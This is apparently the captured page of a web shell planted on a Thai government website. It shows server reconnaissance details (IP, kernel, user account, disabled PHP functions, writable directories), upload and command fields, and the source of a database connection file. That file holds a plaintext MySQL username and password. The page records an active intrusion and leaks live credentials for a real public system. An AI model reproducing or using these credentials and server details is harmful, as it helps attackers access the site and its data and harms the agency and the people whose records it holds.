403Webshell
Server IP : 43.241.58.20  /  Your IP : 216.73.216.25
Web Server : Apache/2
System : Linux ns1-1556229.dragonhispeed.com 3.16.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : ratsitne ( 1130)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ratsitne/domains/tessabalpatiu.go.th/public_html/request/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ratsitne/domains/tessabalpatiu.go.th/public_html/request/inc/mysqli.inc.php
<?php

if (get_magic_quotes_gpc() || ini_get('register_globals')) {

  /*

  ตรวจสอบการตั้งค่า magic_quotes_gpc และ register_globals ใน php.ini ว่าเปิดใช้งานอยู่หรือไม่

  ถ้ามีการเปิดใช้งาน เราจะไม่ให้โปรแกรมติดต่อกับฐานข้อมูลโดยเด็ดขาด

  ดู

  http://php.net/manual/en/info.configuration.php#ini.magic-quotes-gpc

  http://php.net/manual/en/ini.core.php#ini.register-globals

  */


}

/*

สร้าง object ของ class mysqli

*/

$mysqli = new mysqli();

/*

ทำการเชื่อมต่อกับฐานข้อมูล

โดยเราจำเป็นต้องใช้ @ operator เพื่อกัน PHP แสดง warning

เพราะ mysqli::connect() จะทำให้เกิด PHP warning หากมี error

*/

@$mysqli->connect(

  'localhost', // host

  'ratsitne_patiudb', // username

  'Success21', // password

  'ratsitne_patiudb' // default database

);

/*

แต่เราจะมาตรวจสอบ error ตรงนี้แทน

หากมี error ที่เกิดขึ้นระหว่างการเชื่อมต่อ เช่น username หรือ password ผิด

จะมี error message ส่งมาจาก MySQL Server โดยจะไปอยู่ใน mysqli::$connect_error

ก็ให้แสดง error message ที่ได้จาก MySQL Server และจบการทำงาน (ดู inc/main.inc.php)

*/

if ($mysqli->connect_error) {

  $TITLE = $mysqli->connect_error;

  /*

  ให้ error message อยู่ในรูปแบบ #<error code> - <error message>

  */

  $FATAL_ERROR = "#{$mysqli->connect_errno} - {$mysqli->connect_error}";

  require 'inc/main.inc.php';

}

/*

กำหนด charset สำหรับการเชื่อมต่อครั้งนี้ให้เป็น utf8

*/

$mysqli->set_charset('utf8');

Youez - 2016 - github.com/yon3zu
LinuXploit